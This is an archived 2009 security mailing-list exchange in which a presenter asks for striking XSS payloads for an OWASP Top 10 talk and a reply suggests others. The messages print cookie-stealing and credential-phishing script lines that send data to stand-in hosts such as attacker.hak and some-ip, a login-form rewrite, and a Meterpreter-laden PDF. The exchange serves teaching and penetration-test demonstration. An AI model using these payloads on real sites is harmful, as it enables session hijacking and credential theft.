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Cool things to inject via XSS
From: christopher.riley at r-it.at (christopher.riley at r-it.at)
Date: Fri, 29 May 2009 09:35:11 +0200

You could use a couple of typical password/cookie stealing examples.

Cookie stealing iframe.:
 height="1" width="1" frameborder="0"></IFRAME>

Altering the logon form.:
"><script>window.onload =

I like to use the logon form example for my penetration testing
presentations as it looks 100% normal to the user, except it redirects the
Submit button to send the logon information (username/password in most
cases) to your evilserver instead of the real server. You can also rewrite
the code in the users browser to remove password hashing to make it easier
to get the clear text password. On the server end I usually just put up a
Metasploit HTTP or a netcat listener on the evilserver.com address to
output the traffic to a logfile. You can also log it to a Database for mass
farming of data, but we don't do that kind of thing, we leave that to Bob

If you want something evil on the client-side, try an iframe that
references a PDF file. You can then export a PDF from Metasploit and embed
the Meterpreter payload for total world domination.

Chris John Riley

pauldotcom-bounces at mail.pauldotcom.com () inet wrote on 28.05.2009 20:50:39:

Ok, I've got yet another presentation coming up, this time on the OWASP
Top 10
and Mutillidae. One of the things I'm going to cover is XSS. The
example of course is:


but that is boring, and gives folks the impression that XSS is not that
serious.? Better short eample swoul be:

Redirect traffic to your site:
<script>window.location = "http://www.irongeek.com/";</script>

A little cookie Grabbing:
new Image().src="http://some-ip/mutillidae/catch.php?cookie=

Or maybe a password form to make people think they have to login, but it
grabs the credentials:
username=prompt('Please enter your username',' ');
password=prompt('Please enter your password',' ');
document.write("<img src=\"http://attacker.hak/catch.php?username=

What are other cool thing to inject, besides maybe BeEF, that shows of
how XSS
can be a big deal?

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